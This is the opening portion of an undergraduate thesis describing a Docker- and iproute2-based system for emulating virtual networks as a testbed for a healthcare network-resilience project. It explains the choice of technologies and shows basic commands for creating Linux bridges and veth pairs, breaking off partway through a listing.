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and my grandmother, Josefina Álvarez have also played a crucial role in my aca-
demic progression: they showed me, by example, the meaning and value of pure,
raw knowledge.

If there is something I know for sure is I would not have made it here if it were
not for all the teachers I have had, both good and bad. The best teachers have
not only transmitted the technical knowledge I have made use of time and time
again, but they also taught me how to think and how to appreciate knowledge for
what it is. Teachers such as Francisco José Álvarez, Antonio Garćıa, José Manuel
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Abstract

The object of the proposed Undergraduate Thesis is the development of a software system
automating the deployment and management of fully virtual networks for their use as a
testbed. The project sits within the scope of the CloudWall1 project from the Automatics
Department at the University of Alcalá, whose main focus is to develop a Cloud-enabled
Resilience Framework tailored for the needs of the healthcare IT infrastructures to in-
crease their capability to prevent and react to cyber attacks. Its intended purpose is
serving as a validation mechanism for the techniques developed within said project.

The use of docker containers as virtual network nodes together with the possibilities
offered by the linux kernel provide a huge amount of flexibility that we have respected and
made available to the user. The logic implementing the network control functionalities has
been written entirely with python3. A proof of concept proving the project’s suitability for
its intended use is also provided. What is more, given the technologies the project has been
built upon its use cases are much broader than what was initially required. We consider
its possible use as a teaching resource to be one of the most promising future applications.

Keywords: docker [1], iproute2 [2], namespaces [3] python3 [4].

1This work has been partially supported by project PID2019-104855RB-
I00/AEI/10.13039/501100011033 of the Spanish Ministry of Science and Innovation.



Resumen

El objetivo del Trabajo de Fin de Grado propuesto es el desarrollo de un sistema software
que automatice el despliegue y gestión de redes puramente virtuales para su uso como
entorno de pruebas. El trabajo pertenece al ámbito del proyecto CloudWall2 del Depar-
tamento de Automática de la Universidad de Alcalá, cuya meta primordial es el desarrollo
de una infraestructura de resiliencia de red adapatada a las necesidades de los sistemas
informáticos del sistema sanitario para aśı incrementar su capacidad de prevención y
reacción ante ataques cibernéticos. Nuestro trabajo busca servir como mecanismo de val-
idación para las ténicas obtenidas del proyecto CloudWall.

El uso de contenedores de docker como nodos de red virtuales junto a las posibilidades
brindadas por el kernel de linux ofrecen una gran cantidad de flexibilidad que hemos re-
spetado y proporcionado al usuario. La lógica que implementa las funciones de control
de red se ha escrito ı́ntegramente en python3. Asimismo, se ha desarrollado una prueba
de concepto para demostrar la adecuación del resultado obtenido para el uso que se le
pretend́ıa dar en un principio. Además, dadas las tecnoloǵıas empleadas, las aplicaciones
que se le pueden dar a este trabajo son más amplios de lo inicialmente requerido. Con-
sideramos que una de las aplicaciones futuras más prometedoras es su posible uso como
una herramienta de apoyo a labores docentes.

Palabras clave: docker [1], iproute2 [2], namespaces [3] python3 [4].

2Este trabajo ha sido parcialmente financiado por el proyecto PID2019-104855RB-
I00/AEI/10.13039/501100011033 del Ministerio de Ciencia e Innovación.



I only know that I know nothing.

Socrates
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Chapter 1

Introduction and Background

Beware of programmers carrying
screwdrivers.

Chip Salzenberg

1.1 Project’s Background

Our work cannot be understood if we don’t take into account our tutor’s research group’s
current line of research: network resilience and how we can improve it. Their approach
is broadly based on modeling a network infrastructure as a multilayered construct where
the upper layers get closer and closer to reality as we continue climbing them up. This
approach is quite similar to that of conceptual network stacks such as the ones running
today’s Internet. Over this model, they analyse threats to the network and propose al-
ternative reconfigurations which improve network resiliency against cyber attacks.

The above line of work has produced several high-quality papers worth of theory. As
engineers we feel our duty is to look for a real-world application for our solutions too. In
an effort to somehow experimentally measure the effectiveness of the defense strategies
proposed by the group’s research, we have been tasked with the development of a testing
framework. Said framework needs to emulate an arbitrary network topology on which
we can operate in such a way that we can mimic real world attacks. By applying the
researched mitigation strategies on said scenario we plan on being able to settle which
perform best based on the current threat and network topology.

1
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1.1.1 Simulation vs Emulation

These two terms are often used interchangeably when referring to tools whose mission is
providing the user with a scenario resembling the real world in some sort of way. Even
though both terms share the same purpose, the way in which the accomplish it is radically
different.

Simulation leverages the theory capable of modeling real world phenomena. One of the
clearest examples is physics. Physics let us model the world that surrounds us through
mathematics. That is why we can leverage the pertaining equations to compute the out-
come of any scenario we can describe. Thus, simulation computes an outcome based on
the initial parameters and the model we have built for describing the system under study.
This implies that simulation is limited by how accurate our models are. If an equation
doesn’t take an aspect into account, that means it won’t affect the simulation’s outcome
which in turn can result in inaccurate results. Techniques used for simulating systems
include discrete event and agent based simulations such as those used in AnyLogic [5].

Emulation takes a different approach and tries to recreate the system under study to
then perform experiments on it. If we manage to craft a detailed enough model, we could
even get a glimpse of unexpected behaviors we hadn’t taken into account. Even though
emulation tends to offer a more precise description of the system under study, complexity
can render this approach unusable. This follows from the fact that it is harder to recreate
a system than it is to describe its expected behavior. In our project we have nonetheless
decided to leverage emulation so that we reaped the most useful information from our
experiments.

1.2 Outlining the Implementation

Chapter 2 contains an in-depth analysis of the technologies we have decided to make use
of. This section is concerned with justifying said decisions.

1.2.1 Getting the Machines

Given our objective, we need to come up with a way of emulating a whole network. Be-
fore settling on what software platform (i.e operating system) we are going to employ we
need to decide which technology is going to provide the machines we run those operating
systems on. These machines need not be “real”: we can explore virtualization technology
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as well as more modern approaches such as containers. We’ll devote the next section to
discussing the aspects for and against each alternative so as to reach a final decision on
what technology to use.

The initial impulse we had was to leverage the current virtualization capabilities offered
by tools such as VirtualBox [6] or VMWare [7]. We were also aware of other existing
solutions such as the container technology offered by Docker [1], for instance. What is
more, we also knew of the existence of orchestration tools such as Kubernetes [8] which
were aimed at employing several containers in a cooperative and organized manner. Given
we need to build a network, no matter what technology we end up using, one may believe
Kubernetes to be an attractive option. We will later see that this statement is not as
true as one might have expected. We’ll walk through what each of the above offer and
how they accomplish their goals in an effort to decide which of them to employ as the
cornerstone for our work.

Virtual Machines

Technology firms often tend to lock their products up and make them incompatible with
other industry solutions in an effort to lock their user based out of the reach of other
companies. This has left many end users having to cope with running several operating
systems (OSs) on a single machine so that they have access to particular programs such
as the COMNET III GSM Network Simulator, for example.

Virtual machines (VMs) let us cope with this situation with ease. Put simply, VMs
emulate a whole guest operating system (OS) within a host OS. In order to do so, vir-
tualization solutions, like the ones we mentioned before, leverage the capabilities of a
“middleperson” known as the hypervisor. This hypervisor may be implemented in hard-
ware or software and it provides an interface letting guest operating systems share the
available computing resources with the host OS.

We, however, are not concerned with aspects such as the amount of processor time or
memory that would be devoted to our VM. We, on the contrary, are mostly concerned with
what happens with the network infrastructure. After all, our aim is creating a virtualized
network and so we need to know how the virtual network attached to the created VMs is
set up. We know that the VMs actually have Internet connectivity through the host OS
so there must be some sort of “infrastructure” supporting said connections. Nonetheless
and before we consider VMs as a feasible solution, we need to think about how they will
scale.

The network topologies we have been charged with virtualizing are not small. Our
largest working topology consists of 45 nodes, of which 36 would need to be implemented
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Figure 1.1: Image portraying the general architecture of a VM-oriented setup. [9].

as a VM instance. Given how resource intensive VMs are when compared to other so-
lutions like containers, these numbers are too large to be handled in terms of virtual
machines. If we just consider the amount of memory we would need to devote for them
on our 8 GB|RAM machine we would be looking at roughly 234 MB|RAM for each of them
and even then we would have no memory for the host OS at all. On top of that, the
image for Ubuntu 20.04 weighs 958, 4 MB. It would be cumbersome to get it below that
threshold as we would need to strip the vanilla (i.e. stock) version of any features we
don’t need and we would then have to re-package the result. Even then, we would be
looking at around 72 GB of used HDD space if we were to allocate 2 GB of HDD space
to each and every VM we were to bring up. Figure 1.1 graphically shows the general
architecture characterizing a VM-oriented setup.

Even though the above requirements could be eventually met, it’s easy to see how
this approach wouldn’t scale much further than it already has if running it on consumer
grade platforms. We can then conclude how the fact that VMs are just “whole” operating
system makes them too cumbersome to handle and too “big” to be instantiated all the
times we need them. On top of that, and even though we didn’t dig that deep into the
underlying network infrastructure, it seems to be “darker” and less documented than
that offered by other solutions like docker. Then, although VMs are a perfect fit for
many scenarios, that is not our case. Knowing what set us back we will now analyse the
container technology to find out how it is a perfect stepping stone for our project.



CHAPTER 1. INTRODUCTION AND BACKGROUND 5

Containers

Before beginning to discuss whether containers are suitable for our purpose, we should
begin by describing what a container really is as it can be a confusing actor in the vir-
tualization realm. Please note this section has been purposefully written as a high-level
description of container technology. As stated before, a more technical discussion is pre-
sented on section 2.8 belonging to chapter 2.

According to docker’s documentation [10], “a container is a standard unit of software
that packages up code and all its dependencies so the application runs quickly and re-
liably from one computing environment to another”. Now, this definition is a perfect
representative of the main kind of problems we will have to face when trying to bend
containers to our will throughout the development process. Containers are designed to
try and increase the portability of applications. In today’s Internet-centric society, where
we all want uninterrupted services, it is critical to be able to change an application’s
environment at a moment’s notice due to outages, ending support cycles for software,
security breaches... That is why the container technology has developed at such a high
pace. It provides the infrastructure for a reliable service delivery. Now, we could “twist”
the definition if we were to think of applications as full-fledged operating systems. That
is, if we run a whole OS within these containers we would be actually achieving our goal:
each container will behave as a network node so, in other words, we would only need to
cope with 36 concurrent containers: an easier task than doing the proper thing with VMs.

One of the questions we asked ourselves when trying to decide on a technology was:
what makes a container different than a VM? If we go back to the section we devoted to
virtual machines we will notice how they run a full-fledged operating system as a guest.
This implies each VM has its own kernel. This is clearly shown on figure 1.1.

Kernels and their design have been the topic of many books and documents. We just
need to know that the kernel is the piece of software “gluing” the hardware and user-
land software (programs such as browsers) together. That is, it allows applications to
access the computing resources in an organized manner, enabling the sharing of resources
amongst them. As we are telematics engineers we usually find the kernel concept easier
to understand in terms of the abstractions it offers us; the network socket being the most
familiar. Through it, our applications can leverage the networking capabilities of the
machine they’re running on for instance.

Unlike VMs, containers all share a single kernel. We can then think of containers as a
way of isolating applications along with all their dependencies within a shared computing
platform. We don’t need “specialized” software agents such as an hypervisor; we would
only need to be very meticulous and know the kernel’s offered facilities very well to achieve
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Figure 1.2: Image portraying the general architecture of a container-oriented setup. [12]

the end result offered by containers. Projects like bocker [11] prove one can achieve similar
results to the ones provided by docker if only interested in a subset of the latter’s capabil-
ities. Nonetheless, one can regard containers as light VMs throughout the development
as, even though it is not exactly true, it won’t hinder our development approach. Figure
1.2 shows the overall architecture of a container-based approach. Comparing it to figure
1.1 can be truly revealing when comparing both virtualization approaches.

Containers and Docker Container technology can be thought of as a standard. How-
ever, the way that technology is implemented can vary. Then, docker offers an implemen-
tation for containers. This is a similar situation to that of VMs. The idea of a virtual
machine has found two main implementations by VirtualBox and VMWare. This con-
cept is similar to the situation posed by RFCs published by the IETF. They propose a
standard and several people try to implement it according to their coding style, level of
knowledge...

If we are to be entirely correct when it comes to nomenclature we would have to say
that our solution is going to be based on docker’s container implementation.

On top of container technology being lighter than that of VMs, which makes it more
scalable, we also found the amount of documentation regarding the network infrastructure
to be much larger. That gave us a strong foothold in our path to getting our framework
up and running. Another positive aspect on containers we initially considered was the
existence of container orchestration tools such as Kubernetes which we thought could make
our job easier. We’ll devote a few paragraphs to discussing why, in the end, Kubernetes
wasn’t that much of a fit for us.
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Kubernetes

As stated in Kubernetes’ own documentation [13], “Kubernetes is an open source container
orchestration engine for automating deployment, scaling, and management of container-
ized applications”. In other words, Kubernetes let’s us define how we want our application
to behave through a manifest provided in a *.yaml formatted file. Now, if we consider
docker to be focused on offering “services”, Kubernetes takes that objective to the next
level. It’s a product aimed at professionals that’s engineered to be stable. That means
that meddling with the internals in an effort to achieve our goals was bound to be an
extremely difficult task. By employing Kubernetes we would be using an infrastructure
that’s already been laid for us, which is difficult to change and that does not behave how
we want it to. We believe using a tool only to work against its basic principles is a wrong
approach. That’s why we decided to manually build the needed infrastructure from the
ground up starting from docker containers.

Just to give a concrete example of what we mean by working against the pre-existing
infrastructure we could take a look at how Kubernetes connects nodes. As it needs to offer
some kind of service it will set up the internal network topology in such a way that all
the nodes are able to connect among themselves. Given our requirement of implementing
a firewall in the topologies we need to be working with, we can conclude it would be
cumbersome to try to implement a firewall in an infrastructure whose primary concern
is enabling communication links amongst all the network nodes. It’s this diametrically
opposite approach that made us dismiss Kubernetes as a feasible solution.

1.2.2 Getting the Operating System

After settling on an option providing the “hardware” our software is to run on, we need
to decide which operating system is the best suited for the task we have been proposed.
Given today’s ecosystem we quickly thought of the three main contenders in the user
market. These are Microsoft Windows, macOS and Linux. Before delving any deeper
into the discussion about which to employ we would like to clarify our choice of words
when referring to the last option.

Linux vs. GNU/Linux Strictly speaking, Linux is just the kernel of Linux-based
distributions or distros. As we explained in the previous section, a kernel is the piece of
software gluing the hardware and user software together. It accomplishes this non-trivial
feat by offering applications an interface through which they can request services. This
kernel will then fulfill these requests in an orderly manner so that applications can coexist
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and cooperate towards a better overall usage of the system. These applications can in
fact not even be aware that they are running alongside others.

The kernel is for many the most crucial piece of software within a full fledged operating
system. It’s the cornerstone on which everything else is built. Nonetheless, if a non-
technical user were given just a kernel they would have a very hard time making any
use of it. This is where applications or user programs come into play. The make use of
the OS’s services and they let an end-user get meaningful work done. These end user
programs range form text editors such as vim or Microsoft Word to VoIP (Voice over IP)
PBXs (Private Branch eXchanges) like asterisk.

The role of GNU in all this is providing many of these end user programs as free (as in
freedom) software. Huge projects like the gnome desktop environment and make (which
we are using for compiling this LATEXfile) carry the GNU stamp. Given the above, GNU
argues operating systems packaging their tools should be considered GNU/Linux systems
as these two terms work cooperatively, i.e. they are software pieces with distinct purposes.
While we consider this to be absolutely true for end-user systems such as Ubuntu desktop
and Debian we feel this is not the real case with us.

We will be running our network nodes as docker containers and we will try to make
the image ran by these containers as lightweight as possible. In doing that we will only
rely on GNU’s shell, bash, for running a very restricted collection of commands. That is
why we will refer to our platform as Linux containers instead of GNU/Linux ones.

Knowing we have already restricted ourselves to the use of container technology we can
discard macOS as an option right away as there is no official support for it. We could have
used Windows-based containers but given our uncommon requirements we opted to use
a linux -based one. Given we feel comfortable with it, we settled on using Ubuntu docker
images for running our nodes. The version we employed during the testing phase was
deemed Bionic Beaver and had version number 18.04 LTS (Long Term Release) which
boasts a higher stability than yearly versions. Given our requirements, all our work should
run “just fine” on newer versions. We nonetheless recommend working to LTS releases as
the yearly builds can sometimes behave unexpectedly. On top of our choice’s flexibility,
we mustn’t forget about the price and licensing factors. Even though we haven’t looked
into these topics regarding Microsoft’s OS, Windows licenses tend to be more restrictive
than those attached to Ubuntu. As we plan on working at a very “low level” with the
kernel’s internal network infrastructure we aren’t entirely sure if that would be allowed
by Window’s license terms. On top of that Ubuntu doesn’t cost anything, so we won’t
have to be concerned about a monetary budget. Putting it all together justifies why we
decided to run Ubuntu within our own containers.



Chapter 2

Used Technology Analysis

If I have seen farther than others, it is
because I was standing on the
shoulders of giants.

Isaac Newton

According to the discussion in the previous chapter we have settled on docker contain-
ers running Ubuntu for providing the backbone of our virtualized networks. This section
is concerned with analyzing the different technologies that will play a role in supporting
the virtual network infrastructures we are to create.

2.1 The Network Stack

A fascinating but rather overwhelming image can be seen on figure 2.1. If we pay close
attention we will see how one of its columns is just devoted to networking. The software
entities comprising this column is what we will refer to as Linux’s Network Stack

The word stack is something that shows up time and time again in the area of network-
ing. It helps us have a top-level view of how logical entities cooperate within a network.
When we think about stacks we naturally begin to consider them in terms of the layers
they are composed by, with each layer tackling a simple task and offering services to the
layer above whilst using those provided by the layer below. It is not going to be any
different with Linux; we can think of its network stack as a huge “blob” of code which all
network packets reaching a Linux-based system traverse. Thus, if we can alter how Linux
processes packets or build virtual connections between different network stacks we would
be capable of constructing a de-facto virtual network tailored to our needs.

9
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Figure 2.1: Linux’s “Map”. [14]

Naming Packets Before we go on we need to shed some light on the naming we are
going to use regarding the units of data exchanged through network links. Even though
the term packet is tremendously generic we feel it is not a wrong one to turn to in our
case. When we wire up several network nodes together we are looking for full connectivity,
that is, connectivity at the application level. Thus, we are not really that interested on
what layer the “packet” is at, we do not really care if the packet is a segment, datagram or
frame. In the case a need for more specific naming arises, we will not hesitate to do so, but
we prefer to keep the writing simple and avoid getting bogged down with technicalities
whose benefit we feel is not that obvious.

A prime example of the above would be the use of the term packet instead of link-layer
frame in the section’s introduction. Frame is the correct term for referring to the data
structure a NIC (Network Interface Card) hands to the kernel (albeit somewhat processed
as the preamble and Frame Check Sequence of Ethernet frames are usually stripped from
incoming frames by the NIC itself as seen on WireShark’s documentation [15]).

If we think about network stacks, we would probably believe we need to have one per
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machine. That is, every network-capable devices must have their own data-path which
packets are to traverse. What may not be so simple is thinking that a machine may have
more than one network stack. In order to get a firmer grasp on the implications of the
above idea let us revisit the concept of a network interface.

When we first started learning about network architectures we where flabbergasted
by the fact that a machine could have more than one NIC. This implied it had several
different IP addresses “attached” to it, which provided redundancy amongst other several
capabilities like traffic control. What astonished us the most was the raw power of not
imposing a limit on the number of NICs a machine could have. That simple fact allowed
routers to exist, for instance, and you could do seemingly useless stuff such as getting a
packet through an interface and echoing it out the other. All in all, it provided a ton of
flexibility to the whole system.

Now, if we apply the above to the concept of network stacks we could be talking
about packets being interchanged in between them whilst residing on the same machine
nonetheless. If we sit back and take a look at the larger picture, we can clearly see that
packet below the application level are logically switched between network stacks belonging
to different machines as it is the stack who is in charge of processing said data structures.
Seeing matters in that light, and knowing we can have several network stacks on a single
platform, talking about packets being interchanged within a machine does not seem that
far fetched now.

Given the previous discussion we can now clearly see the base on which everything
else is built upon. The ability to have several coexisting network stacks on a machine, as
well as being able to connect them as we please, is such a powerful tool that our work is
only scratching the surface of the capabilities enabled by this kind of technology. Linux’s
network stacks are nothing short of an ode to code modularity.

All the previous discussion is related with the theoretical or conceptual realm of mat-
ters. We will now delve into how we can translate these ideas into a working virtual
network. After going through that process we will also look into why we decided to do
everything manually once we have a broader technical background on the subject.

Finally, we feel we need to clarify that, even though it may be clear at this point, all
the network traffic we are to generate originates from within our own system. In other
words, our network would be perfectly capable of working without any Internet access.
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2.2 The Network Namespace

Many of the programming languages dominating today’s market are object oriented. This,
very roughly, means that the programmer is expected to generate classes representing
“real-life” entities to some extent. These classes are defined by their attributes (charac-
teristics) and their methods (what they can do). Now, a class by itself cannot do anything,
we need to instantiate it so that we create an object of that class. We’ll then be capable
of using the newly created object as we please.

This concept of instantiation is actually quite powerful as it appears continuously in
many areas of engineering. Now, we could say that Linux’s network namespaces work in
a similar fashion to classes. We can think of the network stack as the class and what we
call network namespaces as the objects.

As seen on [3], namespaces are not only seen when dealing with networking, they
are a feature of the Linux kernel employed in many other areas. These namespaces let
us partition kernel resources so that each process sees a resource that is only for it, it
is not shared. When applied to networking, we can see how each network namespace
[16] represents an entire network stack. Then, if we set up several network namespaces
(namespaces from now on as this is the only type of namespace we will deal with) we have
effectively housed several network stacks within the same machine. We then need to look
into how we can interconnect them.

Our system will model a network-capable machine as a simple process with its very
own network namespace. This sentence can be quite abstract. That is why we believe a
more concrete example can help the reader grasp what we are trying to entail.

2.2.1 A Common HTTP Server

The Internet has revolutionized society in ways little people could have predicted. It sup-
ports many different application protocols such as SMTP and FTP, but one of the most
popular (if not the most) is HTTP(S). This protocol provides the backbone for websites
and many other applications that are employed by huge amounts of people on a daily basis.

Like many other protocols, HTTP(S) leverages the client-server architecture. The
client role is usually “played” by web browsers such as Firefox or Safari, whilst the server
part is relegated to programs such as Apache and Nginx. From a networking point of view,
a process is univocally addressed through an IP address and a port number. The former
identifies a given machine within a network whilst the latter targets a process running
within that machine. Then, we can have different servers running on a physical machine
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as long as their port numbers differ. We begin to see how, from a strict networking point
of view, we can have several logical entities supported by a single physical one.

Now, imagine that we want or need to run two HTTP(S) servers on a single machine
and a single port number. That would not be possible, would it? Now, if we leverage the
concept of the network namespace we can circumvent this limitation. We could, for ex-
ample, instantiate two different namespaces for each of the server processes and then bind
each of them to the same port within the respective namespaces. Then, a network-
aware process together with its own network namespace is, in a way, a full-fledged logical
entity within a network: it is addressed by its own IP address and it has its own pool
of independent port numbers. This is exactly what our framework exploits: each virtual
host is a simple process running within its very own namespace.

The above was one of the main reasons we vouched for containers as a technology
before. Each container ships with its own network namespace when it comes to network-
ing. Whilst it is true that docker does bring up some network infrastructure with a new
container, we can explicitly avoid that to be given a “pure” namespace with each new
container. We can then manually instantiate any other network elements we might need
to complete the network topology we are to build.

Managing namespaces and instantiating the virtual network elements, such as veths,
gluing them together is attainable with the help of the iproute2 suite of tools. We will
then look into how to leverage iproute2 for our needs.

2.3 The iproute2 Suite

The time we spend on terminal emulators has exponentially increased as we worked our
way through our bachelor’s. Even though they provide quite a fast way to “get around”
the computer they can be a little abstract at times. We are always aware that the OS
“under” us has many running processes and provides us with services that can be used
at our request. Nonetheless, it is crucial to leverage the help of programs that can query
and show the system’s status when required. This is the case for programs like ps, which
reports the status of the system’s processes, or w, which tells us about who is currently
logged into the system as well as what they are up to. When using a shell we are aware
of the fact that other processes are running and that other users may be logged in but we
nonetheless have tools that let us consult the current status of the system.

Where networking is concerned, iproute2 [2] is like a “Swiss Army Knife”. It is a suite
or collection of tools that lets us do everything from inspecting the current interfaces and
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routes to generating IPv6/IPv4 tunnels. We will only be concerned with the ip command
in our case which is in charge of “showing/manipulating routing tables, network devices,
interfaces and tunnels” as seen in ip’s manpage (i.e. [2]). The uses one can give to
iproute2 are seemingly endless, but before getting into them we believe it would be useful
to compare the iproute2 suite to its predecessor: net-tools.

2.3.1 The Deprecated Solution: ifconfig

Querying a system’s interfaces is a very common task in the day of a network engineer.
Whenever Internet connectivity is not behaving as expected or network connections do
not seem to be working as intended, our initial step is to check interfaces are configured
as they should. On Unix -based systems such as macOS and GUN/Linux this was tra-
ditionally accomplished with the ifconfig command. Before iproute2 was implemented,
network-related tools fulfilling the same purpose were provided by the net-tools suite.
Among the most well-known tools provided by it we can mention ifconfig and netstat.
The former displayed information on the system’s network interfaces whilst the latter
shed light on the open sockets in the system. When working with network-centric appli-
cations such as web-servers, netstat was a superb way of finding out whether some process
had binded (i.e. began listening) to the 80 or 443 ports, each being the default for the
HTTP and HTTPS protocols, respectively. With time, iproute2 became available and it
deprecated [17] the net-tools suite. We have nonetheless observed throughout our studies
that a non-negligible amount of people are reluctant to abandon ifconfig and related tools.

What we are trying to achieve with this project is possible if leveraging net-tools in-
stead of iproute2. However, the former’s documentation and examples tend to be more
cryptic and harder to digest. What is more, even though people resist to stop using it,
net-tools is bound to disappear. That is why using the newer network tools confers a
longer life prospect to our work.

Even though net-tools has been deprecated on linux-based systems, it’s still the se-
lected network tool suite for systems such as macOS where iproute2 is not available.
Some programs such as iproute2mac do exist for this operating system, but they just
parse (i.e. process) the output provided by net-tools utilities and present it following
iproute2’s format. We must not be deceived by looks: iproute2 is a part of linux systems.
We compare both suites on table 2.1.
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net-tools iproute2
arp ip neigh

ifconfig ip addr, ip link, ip tunnel

netstat ss, ip maddr

route ip route

Table 2.1: net-tools utils vs. iproute2’s. [18]

2.3.2 Describing a Network Interface

In a previous section we already provided some comments on what NICs are. Knowing
that interfaces create “bridges” between different systems we can clearly see how these
network interfaces connect digital systems to a communication network; they let these
digital machines leverage the communication capacities of computer networks.

Whilst almost all engineers could recognize what a NIC physically is, the matter is not
that simple regarding how the OS treats these interfaces. We find it quite helpful to think
of what we would do if we had to implement some software solutions that had to employ
the network’s capabilities. There must be a “way” that these hardware components can
be used from the application perspective, that is, the OS needs to offer some kind of
abstraction through which we can use the NIC itself. This abstraction is what we will
call a OS-level NIC or network interface. Then, applications need only be concerned with
opening sockets that are then supported by one of the system’s network interfaces.

Knowing a bit about what iproute2 is, we believe walking through some examples
showing how to instantiate virtual network elements will prove rather revealing.

2.4 Instantiating Virtual Network Elements

As iproute2 offers us total control over a machine’s internal network infrastructure, we
believe the best way to showcase what we can do is through example. Before getting
down to the “command level” of matters, let us establish some naming conventions.

2.4.1 Naming Network Elements

The networks we will work with are rather simple when it comes to the type of elements
they are composed of. Even though they can grow quite large, from a network architec-
ture point of view they will reuse the same components over and over. These components
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are:

• Link-level bridges: These layer 2 devices will forward link-layer frames within a
subnet based on the destination MAC address. These are transparent to layer 3
(i.e. network) protocols such as IP. These are implemented as a linux bridge which,
in turn, manifests itself as a network interface. They’ll provide the backbone for
each of the subnets we are to instantiate as they provide their very own broadcast
domain. One can find documentation regarding these bridges on [19].

• Network-level routers and firewalls: These layer 3 devices will forward pack-
ets between subnets based on the destination IP address. These will be implemented
as containers running a regular Ubuntu image with minor additions. Given these
routers are located between subnets, we will also implement any required firewall
functionality within them as well. We will delve deeper into how this can be ac-
complished in due time, but we can already say that these firewalls are based on
iptables.

• End hosts: These are the end systems in the network. They’ll be implemented as
docker containers running a lightly modified Ubuntu image as well.

• Veths: These are virtual Ethernet interfaces which we will use to wire the entire
network together. These virtual interfaces can be regarded as “virtual wires” with
two ends. Any frame coming into one end comes out the other and vice-versa. We
can then conclude they behave exactly like real-world wires. We will then “insert”
one end of a veth into a network device and the other end into another one to
effectively “wire them together”.

• Network namespace: We would like to make it absolutely clear that names-
paces are not network devices per-se: they have no real world counterpart. As
we will later see, each container spawns its own namespace: we have a one-to-one
correspondence between hosts/routers and namespaces. This will be crucial when
connecting network elements with veths, as they will have to be associated to a
particular network namespace for things to work.

Now that we have settled the naming scheme we will use, it is time to break down
some commands allowing us to instantiate virtual network elements as we please.

2.4.2 Bridges

Just like we stated before, bridges are layer 2 devices. We will find how, due to their
operation, no configuration is needed beyond bridge creation. These devices will auto-
matically learn link-level routes as needed whilst in operation. As we are concerned with
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the link layer, we will be dealing with physical or MAC (Media Access Control) addresses.
These are very characteristic in the sense that they are represented as a series of hexadec-
imal digits separated in groups of 2 by colons (:). Given the intricacies of a base − 16
numbering system, each of these colon-delimited groups is equivalent to a single byte of
data. Anyhow, an example of a MAC address would be: 8c:2d:aa:56:e2:7b. As a
curiosity, we can indicate that different MAC prefixes are allocated to manufacturers by
the IEEE. That means that we can know the manufacturer of a pice of equipment through
its MAC address (assuming it has not been tampered with). If one were to check the
above address, he or she would find it to belong to a device manufactured by Apple Inc..
After all, it is the MAC of the iMac we are writing this document on.

The bottom line to the above is that a bridge’s MAC forwarding table need not be
configured explicitly, be it through a protocol or a human operator. As soon as the bridge
is brought up, it’ll broadcast an incoming link-layer frame on all of its interfaces but the
one the frame arrived on. The key aspect here is that the bridge will include an entry in its
forwarding table associating this frame’s source MAC to the interface the frame arrived
on. If that original frame’s MAC address was, say, 01:23:45:67:89:AB and the frame
arrived on port 0, the bridge would automatically learn to send any incoming frame with
destination MAC 01:23:45:67:89:AB through port 0. After being in operation for some
time, the bridge will throttle back the number of frames it broadcasts, thus operating ever
more efficiently. An aspect to keep in mind with this way of automatically configuring
the forwarding tables is that these entries need some way of being deleted. Just like with
learning, this will be an implicit process requiring no explicit signaling whatsoever. The
learnt entries will be associated to a timer. When this timer runs out, the route will be
assumed to be stale and be deleted from the table. This mechanism allows us to remain
true to the real network topology whilst being stable enough in the face of network changes.

We believe the above discussion to be relevant as a way of justifying why we need not
be concerned with any configuration whatsoever. The very design of real bridges (and
thus of its virtual counterparts) takes care of this for us. We will later see how this is not
the case for network level routers. We’ll need to manually populate the routing tables so
that we attain the desired topology.

We would also like to state that we did have to overcome a slight but hard-to-spot
problem related to these bridges. It involves a setting controlling whether to involve
iptables in frame forwarding at each of the virtual bridges. As this interaction has sev-
eral important implications, such as violating a “pure” layered architecture we will delve
deeper into it in section 2.7.

Even though the previous paragraphs might make bridge creation look cumbersome,
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it could not be any simpler. Getting a working bridge is a matter of executing the lines
found on listing 2.1 from a shell. As listing 2.1 contains commands that ought to be run
in a shell we would like to discuss the necessary execution permissions so that someone
trying to recreate this work can do so in a satisfactory way.

Capabilities for Network Infrastructure Handling

Unleashing iproute2’s full potential implies that we can wreck havoc on a system’s net-
work infrastructure. We could leave the entire system without network connectivity or
alter the way traffic is processed in such a way that we could snoop on user’s data, for
example. This implies that not everybody using a system should be able to perform these
actions.

One of the ideas at the core of any system is access control. It lets us control what
system users can and cannot do in such a way that we protect the system’s stability and
security. Each user will have different capabilities to perform actions on the system. One
can read on them on [20], but the bottom line is that not every user will be able to use all
of iproute2’s features without them being granted some capabilities. Given the configura-
tion overhead this entails, we opted for issuing restricted commands as the system’s root
user whose user id (UID) is 0. This implies it bypasses all capability checks: that is, root
has unrestricted access to iproute2’s features. On UNIX -based systems one can either
opt for prepending sudo to commands such as the ones on listing 2.1 or just run all of
them as root directly. The latter can be achieved by running su - to switch users. These
are by no means the only ways of running the commands we include in this document.
One can grant the required capabilities to an arbitrary user to perform the same tasks
whilst being more elegant with respect to capability handling. Again, the information
found on [20] is a wonderful stepping stone for more complex capability-oriented setups.

We will revisit capabilities when discussing the method of creating docker containers
later down the road as it’s a crucial step for enabling the management of a container’s
networking infrastructure.

1 # Create a new virtual bridge named foo -brd.

2 ip link add foo -brd type bridge

3

4 # Bring it up (i.e. turn it on).

5 ip link set foo -brd up

6

7 # Check the bridge is indeed up.

8 ip link

9
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10 # This should provide an output like the following:

11 # 4: foo -brd: <BROADCAST ,MULTICAST ,UP,LOWER_UP >\

12 # mtu 1500 qdisc noqueue state UNKNOWN mode DEFAULT

13 # group default qlen\

14 # link/ether 72:8a:77:68:42: b1 brd ff:ff:ff:ff:ff:ff

Listing 2.1: Instantiating a Virtual Network Bridge.

We would like to draw the reader’s attention to the LOWER UP string found on ip

link’s output on listing 2.1, as it is letting us know that the newly created bridge is
indeed active. On top of that, we would also like to note that the backslash (\) characters
found on ip link’s output are not present on the “real” output. We have included them
out of necessity, given the output lines were too long to be displayed on a single line in
this document. We decided to indicate where we had broken up the line in an effort to
be true to the original text whilst making it more visually appealing. This small “tweak”
has been applied on other listings such as 2.2.

2.4.3 Veths

Now that we know how to create bridges it is time to instantiate the “wires” connecting
all of them together [21]. Just like we explained before, these “wires” are supported on
veths. The creation process is very similar to that of bridges in the sense that we will
leverage ip link’s functionality. Listing 2.2 shows how these veths are created. From
iproute2’s perspective, these veths manifest as two different interfaces that are nonethe-
less very intimately related. Just like we explained before, everything that enters one veth
end will go out the other and vice-versa. This relation is made clear by how these veths
are displayed when querying the network configuration as seen on listing 2.2.

1 # Create a new veth whose ends are named veth -end -x and

2 # veth -end -y.

3 ip link add veth -end -x type veth peer name veth -end -y

4

5 # Bring BOTH ENDS up.

6 ip link set veth -end -x up

7 ip link set veth -end -y up

8

9 # Check the veth ends are indeed up.

10 ip link

11

12 # This should provide an output like the following:

